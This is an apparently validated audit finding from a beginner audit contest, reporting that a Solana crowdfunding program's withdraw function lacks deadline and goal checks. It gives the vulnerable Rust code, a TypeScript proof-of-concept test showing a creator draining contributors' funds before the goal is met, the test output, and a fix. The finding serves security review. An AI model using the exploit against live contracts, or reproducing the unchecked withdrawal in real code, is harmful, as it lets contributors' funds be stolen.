RustFund

First Flight #36
Beginner FriendlyRust
100 EXP
View results
Submission Details
Severity: high
Valid

[H-2] The `RustFund::withdraw` function allows creators to steal contributors' funds

Summary

According to the contest's docs the creator of a crowdfunding campaign should be able to withdraw the funds after a successful campaign. Judging if a campaign was successful or not implies two things:

  1. The deadline was reached.

  2. The financial goal was reached or not.

According to the docs Contributors "Can request refunds under if the campaign fails to meet the goal and the deadline is reached".
This means that the funds should remain in the contract until the deadline is reached.

Vulnerability Details

The issue is that the withdraw function doesn't check if the fund.goal was reached, nor does it check the fund.deadline. The creator can take the funds out of the program anytime they want.

//@audit this function must check if the goal was met and if the deadline was reached
pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}

Impact

  • The creator of the campaign can withdraw funds continuously as these accrue in the program and the goal will never be met.

  • Contributors will lose their funds.

  • Contributors are unable to get refunds because there will be no funds left in the contract.

PoC

Put the following test and helper functions in the test file:

// Helper to airdrop lamports to a given public key.
async function airdropSol(publicKey: PublicKey, amount: number) {
const airdropTx = await anchor
.getProvider()
.connection.requestAirdrop(publicKey, amount);
await confirmTransaction(airdropTx);
}
async function confirmTransaction(tx: string) {
const latestBlockHash = await anchor
.getProvider()
.connection.getLatestBlockhash();
await anchor.getProvider().connection.confirmTransaction({
blockhash: latestBlockHash.blockhash,
lastValidBlockHeight: latestBlockHash.lastValidBlockHeight,
signature: tx,
});
}
it.only("allows creator to withdraw funds even if the goal is not met", async () => {
// Set up parameters.
const testFundName = "Bug Test Fund";
const testDescription = "Test fund for withdrawal bug demonstration";
const testGoal = new anchor.BN(10_000_000_000); // 10 SOL in lamports.
const depositAmount = new anchor.BN(4_000_000_000); // 4 SOL in lamports.
// Derive the PDA for the fund using seeds [name, creator].
const [testFundPDA] = await PublicKey.findProgramAddress(
[Buffer.from(testFundName), creator.publicKey.toBuffer()],
program.programId
);
// Create the fund.
await program.methods
.fundCreate(testFundName, testDescription, testGoal)
.accounts({
fund: testFundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// Contribution from the creator.
const [creatorContributionPDA] = await PublicKey.findProgramAddress(
[testFundPDA.toBuffer(), creator.publicKey.toBuffer()],
program.programId
);
await program.methods
.contribute(depositAmount)
.accounts({
fund: testFundPDA,
contributor: creator.publicKey,
contribution: creatorContributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// Contribution from another user.
// Airdrop SOL to otherUser.
await airdropSol(otherUser.publicKey, 5_000_000_000); // 5 SOL airdrop.
const [otherContributionPDA] = await PublicKey.findProgramAddress(
[testFundPDA.toBuffer(), otherUser.publicKey.toBuffer()],
program.programId
);
await program.methods
.contribute(depositAmount)
.accounts({
fund: testFundPDA,
contributor: otherUser.publicKey,
contribution: otherContributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([otherUser])
.rpc();
// Verify that total amount raised is 8 SOL, which is below the 10 SOL goal.
const fundAccount = await program.account.fund.fetch(testFundPDA);
console.log("Fund goal raise :", fundAccount.goal.toString());
console.log("Fund amount raised:", fundAccount.amountRaised.toString());
expect(fundAccount.amountRaised.eq(new anchor.BN(8_000_000_000))).to.be
.true;
expect(fundAccount.amountRaised.lt(testGoal)).to.be.true;
// Check the fund account balance on-chain (includes the rent-exempt reserve).
const fundBalance = await provider.connection.getBalance(testFundPDA);
console.log("Fund account lamports:", fundBalance);
// Now, have the creator withdraw funds.
const creatorBalanceBefore = await provider.connection.getBalance(
creator.publicKey
);
await program.methods
.withdraw()
.accounts({
fund: testFundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const creatorBalanceAfter = await provider.connection.getBalance(
creator.publicKey
);
console.log("Creator balance before withdrawal:", creatorBalanceBefore);
console.log("Creator balance after withdrawal:", creatorBalanceAfter);
// The creator's balance should have increased by roughly 8 SOL
expect(creatorBalanceAfter).to.be.gt(creatorBalanceBefore);
});

Test output

rustfund
(node:2871) ExperimentalWarning: The Fetch API is an experimental feature. This feature could change at any time
(Use `node --trace-warnings ...` to show where the warning was created)
Fund goal raise : 10000000000
Fund amount raised: 8000000000
Fund account lamports: 8037590960
Creator balance before withdrawal: 94315625360
Creator balance after withdrawal: 102315620360
✔ allows creator to withdraw funds even if the goal is not met (1823ms)
1 passing (2s)
Done in 2.88s.

You can clearly see from the test that the goal of the crowdfunding campaign was 10 SOL, users deposited 8 SOL, and the creator withdrew the funds.

Tools Used

Manual review

Recommendations

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
+ if ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
+ return Err(ErrorCode::DeadlineNotReached.into());
+ }
+ if ctx.accounts.fund.to_account_info().lamports() < ctx.accounts.fund.goal {
+ return Err(ErrorCode::GoalNotReached.into());
+ }
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}
Updates

Appeal created

bube Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

No deadline check in `withdraw` function

No goal achievement check in `withdraw` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.